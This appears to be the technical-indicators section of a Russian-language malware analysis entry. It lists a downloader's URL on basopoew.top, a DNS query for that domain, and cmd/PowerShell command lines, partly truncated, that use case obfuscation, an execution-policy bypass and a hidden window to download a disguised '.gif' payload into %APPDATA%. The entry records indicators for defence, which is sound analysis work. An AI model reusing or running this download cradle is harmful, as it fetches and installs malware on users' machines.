Техническая информация
- http://www.basopoew.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POweRshELl.Exe -exeCUtIOnPOlICY BYpass -noPRoFIle -wiNdOwStYle hiddEN (new-ObjECt SYStEm.Net.WebcliENT).dOwNLoAdfiLE('http://www.basopoew.top/read.php?f=1.gif','%APPDATA%...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /c "POweRshELl.Exe -exeCUtIOnPOlICY BYpass -noPRoFIle -wiNdOwStYle hiddEN (new-ObjECt SYStEm.Net.WebcliENT).dOwNLoAdfiLE('http://www.basopoew.top/read.php?f=1.gif','%APPDATA%...' (со скрытым окном)